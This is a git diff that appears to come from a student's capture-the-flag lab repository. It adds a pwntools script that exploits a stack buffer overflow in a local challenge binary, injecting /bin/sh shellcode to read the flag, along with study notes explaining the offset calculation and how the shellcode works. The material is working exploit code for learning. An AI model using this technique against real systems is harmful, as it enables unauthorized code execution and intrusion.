lab 4b - shellcode injection

4b/lab4b_1.py

@@ -0,0 +1,78 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+# This exploit template was generated via:
+# $ pwn template /challenge/run
+from pwn import *
+
+# Set up pwntools for the correct architecture
+context.update(arch='amd64', os='linux')
+exe = context.binary = ELF(args.EXE or '/challenge/run')
+
+# Many built-in settings can be controlled on the command-line and show up
+# in "args".  For example, to dump all data sent/received, and disable ASLR
+# for all created processes...
+# ./exploit.py DEBUG NOASLR
+
+
+
+def start(argv=[], *a, **kw):
+    '''Start the exploit against the target.'''
+    if args.GDB:
+        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
+    else:
+        return process([exe.path] + argv, *a, **kw)
+
+# Specify your GDB script here for debugging
+# GDB will be launched if the exploit is run via e.g.
+# ./exploit.py GDB
+gdbscript = '''
+break interact
+'''.format(**locals())
+
+#===========================================================
+#                    EXPLOIT GOES HERE
+#===========================================================
+# Arch:     amd64-64-little
+# RELRO:    No RELRO
+# Stack:    No canary found
+# NX:       NX unknown - GNU_STACK missing
+# PIE:      No PIE (0x400000)
+# Stack:    Executable
+# RWX:      Has RWX segments
+
+io = start()
+
+# discard debug output, something about gdb connecting
+if args.GDB:
+    io.recv()
+# first line - welcome msg, asks for confirmation
+print("[<<<] Received:-\t\t" + io.recv().decode(), end='')
+
+payload_1 = b'Y\n'
+print("[>>>>] Sending:-\t\t" + payload_1.decode(), end='')
+io.send(payload_1)
+
+# gives rsp address and takes input
+rsp_line = io.recv().decode()
+print("[<<<] Received:-\t\t" + rsp_line, end='')
+rsp_str = rsp_line.split()[-1].replace("\n", "")
+print("[O] The rsp is:-\t\t" + rsp_str)
+rsp_val = int(rsp_str, base=16)
+
+unbound_buffer = 0x7ffe33763820
+saved_rip = 0x7ffe337638c8
+offset = saved_rip-unbound_buffer
+
+payload_2_shellcode = asm(shellcraft.sh()) # from pwn
+payload_2_padding = b'F' * (offset - len(payload_2_shellcode)) # pad gap between end of shellcode up until saved_rip
+payload_2_rip = p64(rsp_val) # in this challenge, the vuln variable is last in stack, so rsp points to the variable's location
+
+payload_2 = payload_2_shellcode + payload_2_padding + payload_2_rip + b'\n'
+
+io.send(payload_2)
+print("[>>>>] Sending final payload...")
+
+# root shell gained
+io.send(b"cat /flag \n")
+
+io.interactive()

Dojo Notes.md

@@ -57,9 +57,9 @@
 
 - 'mangling' is just subtracting 3 from the char's ascii value. so just add 3 to the key
 
-### .03 - xor plus
+### .03 - XOR plus
 
-- mangling is adding 3 then xor with 2. so just xor with 2, then subtract 3
+- mangling is adding 3 then XOR with 2. so just XOR with 2, then subtract 3
 
 ### lab 2a.02
 
@@ -374,3 +374,33 @@ done
 - calculate offset from vulnerable variable location to saved RIP(return instruction pointer) location
 - get address of target function to execute
 - craft payload accordingly
+
+### lab 4b.1 - overflow + shellcoding 1
+
+- buffer overflow vuln
+- have to write and inject shellcode
+- checksec says protections are disabled
+- pwntools generated shellcode for `/bin/sh`:
+  - push `/bin/sh` to stack, set `ebx` to this address
+  - setting argv - push `sh` null-terminated (hv to use XOR trick to null-terminate, which isn't necessary for memcpy tho), set `ecx` to this address
+  - setting env - XOR out `edx`
+  - executing execve - syscall `execve`
+- so
+  - get shellcode on the stack
+  - calc offset from rsp to start of shellcode
+    - rsp is obtained at runtime, program outputs it
+    - if we put shellcode in the vulnerable variable, we can use its location to store shellcode since its not being modified
+    - and in this case, rsp=variable location cuz last variable on stack
+  - add offset to rsp to get shellcode location
+  - put that as target rip
+  - padding in between
+  - boom
+
+### lab 4b.2 - overflow + shellcoding 2
+
+- ummm
+- apparently the difference was replacing memcpy with strcpy
+- memcpy doesn't care about null bytes, strcpy does
+- but since i used robust shellcode from pwntools ahaha....
+- it already took care of that
+- so 4b.1 solution applied here too